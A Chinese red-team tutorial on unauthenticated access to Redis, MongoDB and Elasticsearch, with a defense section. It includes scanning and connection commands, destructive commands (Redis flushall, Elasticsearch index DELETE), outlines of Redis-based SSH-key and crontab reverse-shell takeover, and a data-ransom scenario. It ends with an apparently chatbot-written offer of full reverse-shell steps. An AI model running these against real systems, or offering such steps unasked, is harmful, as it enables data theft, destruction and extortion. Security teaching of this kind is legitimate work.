数据库未授权访问:从暴露端口到数据勒索
admin
2026-10-27 07:21
99人看过
免费
# 数据库未授权访问|网络攻防演练红队视角
> 核心定义:数据库服务**没有开启身份认证**,仅绑定公网/内网端口,任何人能直接连接,无需账号密码就能读写数据。
常见目标:MongoDB、Redis、MySQL、PostgreSQL、Elasticsearch、Memcached,攻防演练里Redis、Mongo、ES出现频率最高。
## 一、漏洞成因(根源)
1. 数据库默认配置**无密码**;
2. 监听地址配置成 `0.0.0.0`(允许任意IP访问,而不是127.0.0.1本地);
3. 防火墙/安全组没有限制端口,直接暴露在内网甚至公网;
4. 运维图省事,上线没改默认配置,没做IP白名单。
> 重点区分:
> - 未授权访问:**不需要账号密码直接连**
> - 弱口令:有认证,但密码简单(属于另一类漏洞)
## 二、端口与对应数据库(红队扫描必背)
|数据库|默认端口|特点|
| ---- | ---- | ---- |
|Redis|6379|极易未授权;可写文件、拿shell、读数据|
|MongoDB|27017|老版本默认无认证,直接查看所有库集合|
|Elasticsearch|9200|REST接口,http直接访问,无需登录,拖库|
|MySQL|3306|较少无授权,大多是弱口令|
|PostgreSQL|5432|部分版本空口令,未授权访问|
|Memcached|11211|未授权读取缓存数据|
## 三、攻击链路:端口发现 → 验证未授权 → 操作数据 → 勒索(演练中是删库/拖库)
### 步骤1:端口探测
使用nmap扫描内网/公网网段,发现开放端口。
示例nmap命令
```bash
nmap -sV -p 6379,27017,9200,3306 192.168.1.0/24
```
识别服务版本,判断是否存在未授权风险。
### 步骤2:验证未授权
#### Redis(6379)
```bash
# 直接连接,不需要密码
redis-cli -h 目标IP -p 6379
# 连上后执行,查看所有key
keys *
```
能执行命令 = 存在未授权。
#### MongoDB(27017)
```bash
mongo --host 目标IP:27017
# 查看数据库列表
show dbs
```
直接列出数据库,无需登录,漏洞存在。
#### Elasticsearch(9200,HTTP接口,最简单)
浏览器/Burp直接访问:
```
http://目标ip:9200/_cat/indices?v
```
直接返回索引列表,无401/403就是未授权。
### 步骤3:红队利用手段
1. **拖库**:导出全部业务数据(用户信息、手机号、业务记录)
2. **篡改数据**:修改业务内容
3. **删除数据**:`flushall`(Redis清空所有),删除集合、删除索引
4. **写入后门拿服务器权限(Redis经典)**
- 写ssh公钥到`/root/.ssh/authorized_keys`,实现ssh登录服务器
- 写crontab定时任务,反弹shell
> 前提条件:Redis以root权限运行,并且有文件写入权限。
### 步骤4:勒索场景(真实黑产,演练一般只做破坏性验证)
攻击者拿到数据库权限:
1. 备份下载全部数据;
2. 删除原库所有数据;
3. 在数据库留下勒索提示信息;
4. 索要赎金才返还备份数据。
> ⚠️ 红蓝演练注意:**禁止真实删除业务数据,只做验证、截图留证**。
## 四、各数据库核心Payload
### Redis
```redis
# 查看所有key
keys *
# 清空所有数据(破坏性操作,演练慎用)
flushall
# 查看配置
config get dir
```
### MongoDB
```js
show dbs;
use test;
show collections;
db.xxx.find();
```
### Elasticsearch
```
# 查询所有索引
GET /_cat/indices?v
# 查询索引内数据
GET /索引名/_search
# 删除索引(高危)
DELETE /索引名
```
## 五、蓝队防守方案
1. **设置强密码,开启身份认证**(最核心)
- Redis:`requirepass 密码`
- Mongo:创建管理员账号,开启auth认证
- ES:开启账号密码,如elastic用户
2. **监听地址改为127.0.0.1**,禁止0.0.0.0
3. 安全组/防火墙做IP白名单,只允许业务服务器IP访问数据库端口
4. 禁止数据库进程以root权限运行,最小权限原则
5. 关闭不必要外网暴露,数据库禁止直接对公网开放
6. 定期备份数据库,即使被勒索,可从备份恢复
## 六、红队实战踩坑点
1. Redis新版默认保护模式,直接公网访问会拒绝连接,不是未授权;内网环境经常关闭保护模式。
2. Mongo 3.0+部分版本,本地回环免密,**外网访问需要认证**(本地绕过≠公网未授权)
3. ES 很多是内网未授权,公网较少。
4. 云服务器默认安全组,很多不会开放数据库端口,内网横向移动更容易挖到这类漏洞。
## 七、横向对比(和注入区分)
- **数据库未授权访问**:数据库本身没有账号认证,直接连数据库服务;在网络层直接访问数据库端口。
- **SQL注入**:通过Web应用,利用漏洞**间接操作数据库**,数据库本身有账号密码。
---
要不要我把**Redis未授权写公钥、写定时任务反弹shell**完整实操步骤单独给你,适合内网横向演练?
版权声明:倡导尊重与保护知识产权。未经许可,任何人不得复制、转载或以其他方式使用本站原创内容。